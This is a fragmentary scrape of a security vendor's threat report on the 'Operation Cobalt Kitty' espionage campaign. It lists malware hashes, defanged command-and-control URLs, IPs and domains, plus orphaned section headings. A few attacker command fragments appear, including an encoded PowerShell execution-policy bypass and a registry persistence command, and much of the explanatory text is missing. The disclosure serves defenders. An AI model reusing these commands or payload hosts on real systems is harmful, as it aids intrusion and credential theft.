System.exe 33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc
550f1d37d3dd09e023d552904cdfb342f2bf0d35
decoded base64 c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4

Mimikatz payload
Customized credential dumpers

log.exe 7f812da330a617400cb2ff41028c859181fe663f
[GetPassword_x64]
SRCHUI.dll 29BD1BAC25F753693DF2DDF70B83F0E183D9550D
adrclients.dll FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642
[HookPasswordChange]
KB471623.exe 6609A347932A11FA4C305817A78638E07F04B09F
[Custom password dumper]
doutlook.ps1 EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD
adobe.dat B769FE81996CBF7666F916D741373C9C55C71F15
adrclients.ps1 E64C2ED72A146271CCEE9EE904360230B69A2C1D
[Custom password dumper]
Miscellaneous tools
pshdll35.dll 52852C5E478CC656D8C4E1917E356940768E7184
pshdll40.dll EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89
[PSUnlock - PowerShell Bypass
tool]
KB-10233.exe C5e19c02a9a1362c67ea87c1e049ce9056425788
kb74891.exe 0908a7fbc74e32cded8877ac983373ab289608b3
[NetCat]
IP.exe 6aec53554f93c61f4e3977747328b8e2b1283af2
cmd.exe
dllhost.exe
[IP check Tool]
Payloads from C&C servers
URL Payload SHA-1 hash

hxxp://104.237.218(.)67:80/icon.ico 6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09
hxxp://support.chatconnecting(.)com:80/icon.ico c41972517f268e214d1d6c446ca75e795646c5f2
hxxp://food.letsmiles(.)org/login.txt 9f95b81372eaf722a705d1f94a2632aad5b5c180
hxxp://food.letsmiles(.)org/9niL 5B4459252A9E67D085C8B6AC47048B276C7A6700
hxxp://23.227.196(.)210:80/logscreen.jpg d8f31a78e1d158032f789290fa52ada6281c9a1f
50fec977ee3bfb6ba88e5dd009b81f0cae73955e
hxxp://45.114.117(.)137/eXYF D1E3D0DDE443E9D294A39013C0D7261A411FF1C4
91BD627C7B8A34AB334B5E929AF6F981FCEBF268
hxxp://images.verginnet(.)info:80/ppap.png F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402
hxxp://176.107.176(.)6/QVPh 8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C
hxxp://108.170.31(.)69/a 4a3f9e31dc6362ab9e632964caad984d1120a1a7
hxxp://support(.)chatconnecting(.)com/pic.png bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://blog.versign(.)info/access/?version=4&lid=[reda 9e3971a2df15f5d9eb21d5da5a197e763c035f7a
cted]&token=[redacted]
hxxp://23.227.196(.)210/6tz8 bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://23.227.196(.)210/QVPh 8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5
hxxp://45.114.117(.)137/3mkQ 91bd627c7b8a34ab334b5e929af6f981fcebf268
hxxp://176.223.111(.)116:80/download/sido.jpg 5934262D2258E4F23E2079DB953DBEBED8F07981
hxxp://110.10.179(.)65:80/ptF2 DA2B3FF680A25FFB0DD4F55615168516222DFC10
hxxp://110.10.179(.)65:80/download/microsoftp.jpg 23EF081AF79E92C1FBA8B5E622025B821981C145
hxxp://110.10.179(.)65:80/download/microsoft.jpg C845F3AF0A2B7E034CE43658276AF3B3E402EB7B

hxxp://27.102.70(.)211:80/image.jpg 9394B5EF0B8216528CED1FEE589F3ED0E88C7155
C&C IPs
45.114.117(.)137
104.24.119(.)185
104.24.118(.)185
23.227.196(.)210
23.227.196(.)126
184.95.51(.)179
176.107.177(.)216
192.121.176(.)148
103.41.177(.)33
184.95.51(.)181
23.227.199(.)121
108.170.31(.)69
104.27.167(.)79
104.27.166(.)79
176.107.176(.)6
184.95.51(.)190
176.223.111(.)116
110.10.179(.)65
27.102.70(.)211
C&C Domains
food.letsmiles(.)org
help.chatconnecting(.)com
*.letsmiles(.)org
support.chatconnecting(.)com
inbox.mailboxhus(.)com
blog.versign(.)info
news.blogtrands(.)net
stack.inveglob(.)net
tops.gamecousers(.)com
nsquery(.)net
tonholding(.)com
cloudwsus(.)net
nortonudt(.)net
teriava(.)com
tulationeva(.)com

vieweva(.)com
notificeva(.)com
images.verginnet(.)info
id.madsmans(.)com
lvjustin(.)com
play.paramountgame(.)com
Appendix A: Threat actor payloads caught in the wild

Domain Details VirusTotal
inbox.mailboxhus(.)com File name: Flash.exe Link

support.chatconnecting(.)com SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09
Submitted: 2016-12-28 09:51:13
(45.114.117.137)
inbox.mailboxhus(.)com File name: Flash.exe Link

support.chatconnecting(.)com SHA-1:
562aeced9f83657be218919d6f443485de8fae9e
(45.114.117[.]137) Submitted: 2017-01-18 19:00:41
support.chatconnecting(.)com URL: hxxp://support(.)chatconnecting.com/2nx7m Link

Submitted: 2017-01-20 10:11:47
(45.114.117[.]137)
support.chatconnecting(.)com File name: ID2016.doc Link

SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc
(45.114.117[.]137) Submitted: 2016-11-23 08:18:43
Malicious Word document (Phishing text in Vietnamese)
blog(.)versign(.)info File name: tx32.dll Link

SHA-1:
(23.227.196[.]210) 604a1e1a6210c96e50b72f025921385fad943ddf
Submitted: 2016-08-15 04:04:46
blog(.)versign(.)info File name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc
SHA-1: Link
(23.227.196[.]210) a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
Submitted: 2016-10-06 11:03:54
Malicious Word document with Phishing text in

Vietnamese

blog(.)versign(.)info File name: Thong tin.doc Link
SHA-1: a5fbcbc17a1a0a4538fd987291f8dafd17878e33
(23.227.196[.]210) Submitted: 2016-10-25
Malicious Word document with Phishing text in

Vietnamese
Images.verginnet(.)info File name: WinWord.exe Link

SHA-1:
id.madsmans(.)com ea67b24720da7b4adb5c7a8a9e8f208806fbc198
Submitted:
(176.107.176[.]6)
Cobalt Strike payload
Downloads hxxp://images.verginnet(.)info/2NX7M
Using Cobalt Strike malleable c2 oscp profile
tonholding(.)com File name: SndVolSSO.exe Link

nsquery(.)net SHA-1: 1fef52800fa9b752b98d3cbb8fff0c44046526aa
Submitted: 2016-08-01 09:03:58
Denis Backdoor Variant
tonholding(.)com File name: Xwizard / KB12345678.exe Link

nsquery(.)net SHA-1:
d48602c3c73e8e33162e87891fb36a35f621b09b
Submitted: 2016-08-01
teriava(.)com File name: CiscoEapFast.exe Link

SHA-1:
77dd35901c0192e040deb9cc7a981733168afa74
Submitted: 2017-02-28 16:37:12
Denis Backdoor Variant
Appendix B: Denis Backdoor samples in the wild

File name SHA-1 Domain
msprivs.exe 97fdab2832550b9fea80ec1b9 teriava(.)com

c182f5139e9e947
WerFault.exe F25d6a32aef1161c17830ea0c teriava(.)com

b950e36b614280d
msprivs.exe 1878df8e9d8f3d432d0bc8520 teriava(.)com

595b2adb952fb85
CiscoEapFast.exe 1a2cd9b94a70440a962d9ad7 teriava(.)com,

094.exe 8e5e46d7d22070d0 tulationeva(.)com,

notificeva(.)com
CiscoEapFast.exe 77dd35901c0192e040deb9cc teriava(.)com,

7a981733168afa74 tulationeva(.)com,
notificeva(.)com
SwUSB.exe 88d35332ad30964af4f55f1e44 gl-appspot(.)org

F:\malware\Anh c951b15a109832 tonholding(.)com
Dương\lsma.exe nsquery(.)net
Xwizard.exe d48602c3c73e8e33162e8789 tonholding(.)com

KB12345678.exe 1fb36a35f621b09b nsquery(.)net
SndVolSSO.exe 1fef52800fa9b752b98d3cbb8ff tonholding(.)com

f0c44046526aa nsquery(.)net

Cybereason is the leader in endpoint protection, offering endpoint detection and response, next-generation antivirus, and
active monitoring services. Founded by elite intelligence professionals born and bred in offense-first hunting, Cybereason gives
enterprises the upper hand over cyber adversaries. The Cybereason platform is powered by a custom-built in-memory graph,
the only truly automated hunting engine anywhere. It detects behavioral patterns across every endpoint and surfaces malicious
operations in an exceptionally user-friendly interface. Cybereason is privately held and headquartered in Boston with offices in
London, Tel Aviv, and Tokyo.

Cybereason Labs Analysis Operation Cobalt Kitty

Uploaded by

Copyright:

Available Formats

Cybereason Labs Analysis Operation Cobalt Kitty

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Cybereason Labs Analysis Operation Cobalt Kitty

Uploaded by

Copyright:

Available Formats

Operation Cobalt Kitty

Cybereason Labs Analysis

©2016 Cybereason. All rights reserved. 1

©2016 Cybereason. All rights reserved. 1

©2017 Cybereason Inc. All rights reserved. 1

©2017 Cybereason Inc. All rights reserved. 2

Fake Flash Installer delivering Cobalt Strike Beacon

©2017 Cybereason Inc. All rights reserved. 3

Word File with malicious macro delivering Cobalt Strike Beacon

©2017 Cybereason Inc. All rights reserved. 4

The two scheduled tasks are created on infected Windows machines:

Post infection execution of scheduled task

Obfuscated PowerShell delivering Cobalt Strike Beacon - The contents of the

microsoft.jpg, SHA-1: C845F3AF0A2B7E034CE43658276AF3B3E402EB7B

Example 2: Additional Cobalt Strike delivery method

The payload is decrypted to the following PowerShell downloader one-liner:

©2017 Cybereason Inc. All rights reserved. 7

HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Java Update Schedule Check

Examples of the values of the above registry keys:

This PowerShell commands decodes to:

Backdoor exploits DLL hijacking against Wsearch Service

According to Microsoft’s documentation, Windows Search Service (Wsearch), which is a default

2.3. Scheduled Tasks

2.4. Outlook Persistence

/u /c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v

©2017 Cybereason Inc. All rights reserved. 12

3.1. Cobalt Strike Fileless Infrastructure (HTTP)

Multi-Stage Payload Delivery

©2017 Cybereason Inc. All rights reserved. 13

Regsvr32.exe downloader command (COM Scriptlet)

The attackers downloaded COM scriptlets using regsvr32.exe:

Example 1: Second Stage PowerShell Script

©2017 Cybereason Inc. All rights reserved. 14

The shellcode downloads additional payload from the URL: hxxp://food(.)letsmiles(.)org/9niL

©2017 Cybereason Inc. All rights reserved. 15

File Name: pic.png, SHA-1: f3e27ad08622060fa7a3cc1c7ea83a7885560899

The shellcode downloads a payload from the following URL:

Final payload: Cobalt Strike Beacon

©2017 Cybereason Inc. All rights reserved. 16

©2017 Cybereason Inc. All rights reserved. 17

3.3. Variant of Denis Backdoor using DNS Tunneling

©2017 Cybereason Inc. All rights reserved. 18

©2017 Cybereason Inc. All rights reserved. 19

Outlook spawns two cmd.exe shells:

cmd.exe /C “ ipconfig > %temp%.log.txt

3.5. Custom NetCat

©2017 Cybereason Inc. All rights reserved. 21

4.1. Internal Network Scanning

Decoded Base64 PowerShell command:

4.2. Information gathering commands

4.3. Vulnerability Scanning using PowerSploit

powershell -nop -exec bypass -EncodedCommand

The encoded command decodes to -

The Invoke-AllChecks command is indicative to the PowerUp privilege escalation “scanner”,

5.1. Obtaining credentials

Other tools used to obtain credentials included:

©2017 Cybereason Inc. All rights reserved. 25

5.1.2. Gaining Outlook credentials

The purpose of the doutlook.ps1 (SHA-1: ebdd6059da1abd97e03d37ba001bad4aa6bcbabd)

5.2. Pass-the-hash and pass-the-ticket